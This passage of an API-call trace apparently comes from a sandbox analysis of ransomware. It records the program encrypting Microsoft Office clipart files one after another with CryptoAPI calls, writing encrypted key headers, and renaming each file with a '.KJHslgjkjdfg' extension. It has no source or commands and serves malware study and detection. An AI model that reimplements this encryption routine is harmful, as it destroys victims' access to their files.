lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.682] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.682] GetProcessHeap () returned 0x2a0000 [0172.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.682] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.682] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.682] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.682] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.682] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.682] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.683] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x614c, lpOverlapped=0x0) returned 1 [0172.683] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6150, dwBufLen=0x6150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6150) returned 1 [0172.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.684] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6150, lpOverlapped=0x0) returned 1 [0172.684] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.684] SetEndOfFile (hFile=0x114) returned 1 [0172.686] GetProcessHeap () returned 0x2a0000 [0172.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.686] GetProcessHeap () returned 0x2a0000 [0172.686] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.kjhslgjkjdfg")) returned 1 [0172.687] CloseHandle (hObject=0x114) returned 1 [0172.687] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0172.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.688] GetProcessHeap () returned 0x2a0000 [0172.688] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.688] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.688] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.688] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.690] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.690] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.690] GetProcessHeap () returned 0x2a0000 [0172.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.690] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.690] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.690] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.690] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.690] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.690] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.690] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.690] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.690] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.691] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ee4, lpOverlapped=0x0) returned 1 [0172.691] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0) returned 1 [0172.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.692] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ef0, lpOverlapped=0x0) returned 1 [0172.692] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.692] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.692] SetEndOfFile (hFile=0x114) returned 1 [0172.694] GetProcessHeap () returned 0x2a0000 [0172.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.694] GetProcessHeap () returned 0x2a0000 [0172.694] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.kjhslgjkjdfg")) returned 1 [0172.695] CloseHandle (hObject=0x114) returned 1 [0172.695] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0172.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.695] GetProcessHeap () returned 0x2a0000 [0172.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.695] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.698] GetProcessHeap () returned 0x2a0000 [0172.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.698] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.698] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.698] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11b8, lpOverlapped=0x0) returned 1 [0172.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11c0) returned 1 [0172.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.699] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11c0, lpOverlapped=0x0) returned 1 [0172.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.699] SetEndOfFile (hFile=0x114) returned 1 [0172.701] GetProcessHeap () returned 0x2a0000 [0172.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.701] GetProcessHeap () returned 0x2a0000 [0172.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.kjhslgjkjdfg")) returned 1 [0172.703] CloseHandle (hObject=0x114) returned 1 [0172.703] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0172.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.704] GetProcessHeap () returned 0x2a0000 [0172.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.704] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.704] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.704] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.704] GetProcessHeap () returned 0x2a0000 [0172.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.704] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.704] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.706] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.707] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.707] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x26f0, lpOverlapped=0x0) returned 1 [0172.708] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26f0) returned 1 [0172.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.708] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x26f0, lpOverlapped=0x0) returned 1 [0172.708] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.708] SetEndOfFile (hFile=0x114) returned 1 [0172.711] GetProcessHeap () returned 0x2a0000 [0172.711] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.711] GetProcessHeap () returned 0x2a0000 [0172.711] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.kjhslgjkjdfg")) returned 1 [0172.712] CloseHandle (hObject=0x114) returned 1 [0172.712] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0172.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.712] GetProcessHeap () returned 0x2a0000 [0172.712] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.713] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.715] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.715] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.715] GetProcessHeap () returned 0x2a0000 [0172.715] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.715] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.715] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.715] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, 